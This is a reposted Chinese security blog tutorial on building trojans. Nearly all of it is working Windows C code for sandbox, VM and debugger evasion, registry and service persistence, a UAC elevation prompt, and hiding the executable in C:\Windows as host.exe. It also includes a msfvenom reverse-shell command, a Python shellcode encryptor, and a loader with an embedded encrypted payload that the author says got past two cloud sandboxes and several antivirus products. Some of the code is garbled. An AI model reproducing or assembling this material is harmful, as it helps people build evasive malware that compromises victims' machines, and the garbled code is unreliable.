木马反制技巧

admin 2025年1月20日13:59:05评论8 views字数 11328阅读37分45秒阅读模式

原文链接:https://forum.butian.net/share/4035

在信息安全攻防领域,木马程序 的隐藏与反制技术一直是研究的热点与难点。本篇文章深入探讨了恶意程序如何通过多种手段实现自我隐藏、逃避检测以及持久化运行。

反沙箱

沙箱(Sandbox)是一种隔离机制,通过创建一个受控的、隔离的计算环境,允许软件在不影响宿主系统或网络的情况下运行和测试。这种技术在恶意程序分析中尤为重要,因为它能够安全地捕获和分析恶意软件的行为、特征及其对系统和网络的影响。在国内,常用的两个在线云沙箱分析平台是微步和安恒

https://s.threatbook.com/
https://sandbox.dbappsecurity.com.cn/

接下来的案例实战测试将基于这两个平台进行

在沙箱环境中,常用的应用程序(如QQ、微信、钉钉等)通常不存在。为了检测是否运行在沙箱环境中,可以写一个白名单机制。将所有常用软件的名称添加到白名单中,然后遍历当前系统中的进程。如果白名单中的程序没有一个在运行,则可以判定当前环境可能为沙箱,从而触发木马程序退出

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdbool.h>

bool is_process_running(const char* process_name) {
bool found = false;
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
returnfalse;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcessSnap, &pe32)) {
        CloseHandle(hProcessSnap);
returnfalse;
    }

do {
if (strcmp(pe32.szExeFile, process_name) == 0) {
            found = true;
break;
        }
    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);
return found;
}

int main() {
if (!is_process_running("qq.exe") && !is_process_running("wechat.exe")) {
return0;
    }

return0;
}

使用CreateToolhelp32Snapshot函数获取系统中所有进程的快照,然后用Process32First 函数获取第一个进程的信息,Process32Next 函数遍历剩余的进程 , 比较每个进程的名称(pe32.szExeFile)与 process_name,如果匹配则设置 found 为 true 并退出循环

实战测试,这两个云沙箱平台都无法正常运行程序,成功绕过沙箱

木马反制技巧
木马反制技巧

反虚拟机

在手动分析恶意软件时,通常是在虚拟机环境中进行的。为检测程序是否在虚拟机中运行,可以读取特定的注册表信息。如果检测到当前程序正在虚拟机中运行,则自动退出程序,以避免分析和调试

#include <windows.h>
#include <stdio.h>

int IsRunningInVM() {
    char szHardware[256];
    DWORD size = sizeof(szHardware);
int isVM = 0;

if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Enum\IDE""HardwareID", RRF_RT_REG_SZ, NULL, szHardware, &size) == ERROR_SUCCESS) {
if (strstr(szHardware, "VMware") || strstr(szHardware, "Virtual")) {
            isVM = 1;
        }
    }

    size = sizeof(szHardware);
if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\Disk\Enum""0", RRF_RT_REG_SZ, NULL, szHardware, &size) == ERROR_SUCCESS) {
if (strstr(szHardware, "VMware") || strstr(szHardware, "VBOX")) {
            isVM = 1;
        }
    }

return isVM;
}
int main(int argc, char *argv[]) {
if (IsRunningInVM()) {
return0;
    }

RegGetValueA 被调用以从注册表路径 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumIDE 中检索 HardwareID 的值, 如果调用成功(返回 ERROR_SUCCESS),则检查检索到的字符串(szHardware)是否包含子字符串 "VMware" 或 "Virtual" , 如果找到任一子字符串,则将 isVM 设置为 1 ,第二个if判断同理

如果返回1,则代表程序在虚拟机里运行,执行退出指令

反调试

使用IsDebuggerPresent函数可以防止逆向工程工具进行动态调试

#include <windows.h>
#include <stdio.h>

void checkDebugger() {
if (IsDebuggerPresent()) {
        ExitProcess(1);
}

int main() {
    checkDebugger();
return0;
}

IsDebuggerPresent() 返回非零值,意味着检测到调试器,程序将调用 ExitProcess(1)退出程序,实测xdbg调试程序时会触发退出

添加到开机启动项

"Software\Microsoft\Windows\CurrentVersion\Run" 是一个注册表路径,用于存储当前用户登录时自动运行的程序。我们可以将当前程序的路径写入该注册表项,以实现开机自启动功能

#include <windows.h>
#include <stdio.h>

void add_to_startup(const char *appname, const char *path) {
    HKEY hKey;
    LONG result;

    result = RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Run",
0, KEY_SET_VALUE, &hKey);

if (result != ERROR_SUCCESS) {
return;
    }

    result = RegSetValueEx(hKey, appname, 0, REG_SZ, (BYTE *)path, strlen(path) + 1);

    RegCloseKey(hKey);
}

int main(int argc, char *argv[]) {
    char path[MAX_PATH];
if (GetModuleFileName(NULL, path, MAX_PATH) == 0) {
return1;
    }
    add_to_startup("MyAppName", path);
}

实测写入注册表时只有360会有提示,火绒和defender不会弹出提示

AES混淆shellcode

首先需要cs或者msf生成raw格式的shellcode源文件,这里用msf举例

msfvenom -p  windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=8888 -f raw -o msf.bin

然后用python脚本生成aes加密的key和加密后的shellcode

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
import hashlib

def AESencrypt(plaintext, key):
    k = hashlib.sha256(KEY).digest()
    iv = 16 * b'x00'
    plaintext = pad(plaintext, AES.block_size)
    cipher = AES.new(k, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
return ciphertext,key

def printResult(key, ciphertext):
print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
print('unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')

try:
    file = open(sys.argv[1], "rb")
    content = file.read()
except:
print("Usage: .AES_cryptor.py PAYLOAD_FILE")
    sys.exit()

KEY = urandom(16)
ciphertext, key = AESencrypt(content, KEY)

printResult(KEY,ciphertext)

木马反制技巧
在木马里写入aes解密脚本即可

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#include <shlobj.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "advapi32.lib")

void aes(char* code, DWORD codeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULLNULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return;
    }
if (!CryptCreateHash(hProv, CALG_SHA_256, 00, &hHash)) {
return;
    }
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
return;
    }
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
return;
    }

if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL00, (BYTE*)code, &codeLen)) {
return;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);
}
int main(int argc, char *argv[]) {
        unsigned char key[] = { 0xed0x390x560x670xcd0x620xf70x910x620xb0x850x530x9b0x170xae0xc9 };
        unsigned char code[] = {0xa00x820xa30xbf0xce0xd50xd50xce0x00xf80xc10x340x7f0x390xcf0xdb0xf20xd30x720x2c0xf20x8c0xf70xc40xaf0x660xb70x820xb80xbe0x30x310xfc0x3d0x580xd00x990xda0xdf0xc20x30xd0xa30x3d0x590xb0x730x4b0x380xa60x1e0xd70xd70x9f0x630x840xb80xe20x00x530x210x7f0x170x670xfc0xc70xd00x720x5e0x860xff0xa40x8d0x470x530xa00x40xee0x6e0x160xe90x4e0x150x20x6a0x840x8c0x590xd10xb00x160x3b0x780x6a0x4a0x160xfe0x440x470x4e0x860x970xb60x3b0xaa0xff0xab0x40x800x540x5e0xbd0x8f0x880x8c0x340xdb0xe80xfd0x490xe90x160x1f0xff0x640xb30xe00xce0x430xb10x6f0x550xba0x680x300xc80x770x630xc90xf00x230x750xe0x820xc20x760x870x3e0x430xcd0x3b0xb60x970x330x20x7c0x120x5e0xd30x740x850xc50x240x420x450x530xda0x4a0x3e0x950x400x570x8d0xd50x700x60xb80x3f0xa40x670x40x420xaa0x610x310x700x2a0x280x90x700xdd0xd10xf20x730xd20x2f0x380xd40x220xab0x680xd20x630x470xb30x3a0xee0xa90x6f0x530x830xb60x4e0x250xbf0x180x410xf80x3e0xcd0x3b0x970x80xb30x180x5c0x590xbf0xc60x7a0xa0x6d0x800x9b0xa30x240x890x80x6a0x270x1a0x250x920x120x810x570x900x60x170x920xaa0x7e0x5d0x70xf80xd10x380x740x4f0xab0xb20xc10x150xf80x650xf10x590x680x00x140x580x860xcf0xc40x3a0x3b0xbb0xc10xc50xdb0xef0x220x850x50xdc0x890x1e0xc60x500x810x80xd0x220xab0xd80x7d0xc60x3c0xad0x490x100xdf0x6e0x920x880x990xb80x5d0xa60xe30x2d0xb70x4c0xc60xbb0xce0xd50x4c0x5f0x7c0x220xcb0xe70x560x120xd90xe60x430x3e0xa70xc20xca0xf60x110x100x2b0xd50xa90xe20x9d0x530xb30xcf0x460xca0x650xb00x3a0xa40x290x180x530x680xfc0xe60xcf0xa60xdb0x800xae0x840x980x990x2e0x880xac0x70x750x350x9d0x240x590x6b0x4f0x780x340xef0x2b0x190x720x340x1a0x520x460xe90x500x260x120xee0x100xd0x6d0x30x8b0x730x210x110x220x3d0x170xe20x390x5c0x60xd70x210xad0xd10x8f0xd20x5f0xd20xeb0x200xd10x1c0x7c0x640xb90xa90x760x1d0xfa0xbc0x100x130x670x8f0x710xf90x1d0x740xb50xf20xd60xed0xd40xcf0xc0x4f0xb10x30x7b0x6f0x550x130x620x1c0x3b0x170xe60xa20xbf0x230x5d0x50x7a0x9d0x390x870x510x130xd90xae0xbb0xb0xa80xfd0x6c0x550xde0x180x4c0x980xe10x310x7b0xd10x370xbd0x910xc60x630x920x610xb90x750xb40xdc0xcf0xb90xfe0x5b0xb40x5d0xd40x220x6e0x8d0xc00xd0xce0x970xd80x8b0x400x5c0x1c0xcb0x30xb80xe90x300x490x950xe00x3d0x130xd0x140x150xb90x6b0xbd0x90xfc0x770x4d0xac0xb0x280x690xd50xec0x70x470x500x20x9c0x100x110xf70xe0x550x40xa30x7e0x5b0x960x360x6b0x620xf60x650x180x440x820x520x980x980x9f0x8e0x5f0xc10x920x560xc00xb40x540x8c0x650xfe0xb60xc60x260x40x9e0xf00xa70x750x950x1e0x8e0xd10xb00x410x830xe0x790xa90x1b0x280x680x750x8a0xd00x380x8b0x470x5a0xc20xe0x6d0x960x6e0xe70x450xe10x7e0x950x800xf30xc40xce0xc50x110x700x630x360x790x5c0x9e0x4f0x350xe20x6d0x280x40x9d0xdb0x2a0x2d0x8b0x5f0xcf0xb00xda0xab0x100x9b0xec0xaf0x130x340xe80x650x2b0x6f0xf40xc90x430x350x6c0x560x2f0xa9};

        DWORD code_length = sizeof(code);
        aes((char*)code, code_length, key, sizeof(key));
//现在解密了shellcode,之后运行code函数即可

}

开机自启动服务注册

windows服务注册需要管理员权限,可以提权后或者弹框申请管理员权限运行后再执行注册服务功能

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#include <shlobj.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "advapi32.lib")

void CreateServiceToRunAtStartup() {
    SC_HANDLE schSCManager = OpenSCManager(NULLNULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager == NULL) {
return;
    }

    char path[MAX_PATH];
    SHGetSpecialFolderPath(NULL, path, CSIDL_WINDOWS, FALSE);
    strcat(path, "\host.exe");

    SC_HANDLE schService = CreateService(
        schSCManager, 
"host"
"host"
        SERVICE_ALL_ACCESS, 
        SERVICE_WIN32_OWN_PROCESS, 
        SERVICE_AUTO_START, 
        SERVICE_ERROR_NORMAL, 
        path, 
NULLNULLNULLNULLNULL);

if (schService == NULL) {
        CloseServiceHandle(schSCManager);
return;
    }

    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
}

int main(int argc, char *argv[]) {
  CreateServiceToRunAtStartup(); //会将当前程序注册一个名叫host.exe的windows服务,并且开机自启动
}

弹框申请管理员权限运行

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")

BOOL IsRunAsAdministrator() {
BOOL fIsRunAsAdmin = FALSE;
    PSID pAdministratorsGroup = NULL;

    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 
000000, &pAdministratorsGroup)) {
        CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin);
        FreeSid(pAdministratorsGroup);
    }

return fIsRunAsAdmin;
}

void ElevatePrivileges() {
if (!IsRunAsAdministrator()) {
        char szPath[MAX_PATH];
if (GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath))) {
            SHELLEXECUTEINFO sei = { sizeof(sei) };
            sei.lpVerb = "runas";
            sei.lpFile = szPath;
            sei.hwnd = NULL;
            sei.nShow = SW_NORMAL;
if (!ShellExecuteEx(&sei)) {
exit(1);
            }
exit(0);
        }
    }
}
int main(int argc, char *argv[]) {
    ElevatePrivileges();
}

效果是这样,双击运行后会弹框申请管理员权限运行

木马反制技巧

木马程序转移隐藏

void CopyFilesToWindowsDir() {
    char srcPath[MAX_PATH], destPath[MAX_PATH], dllSrcPath[MAX_PATH];
    GetModuleFileName(NULL, srcPath, MAX_PATH);
    SHGetSpecialFolderPath(NULL, destPath, CSIDL_WINDOWS, FALSE);
    strcat(destPath, "\host.exe");
    CopyFile(srcPath, destPath, FALSE);
}

int main(int argc, char *argv[]) {
  CopyFilesToWindowsDir();
}

运行后将木马转移到了c:/windows目录下,改名为host.exe

原文始发于微信公众号(网安探索员):木马反制技巧

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  • 本文由 发表于 2025年1月20日13:59:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   木马反制技巧https://cn-sec.com/archives/3645378.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

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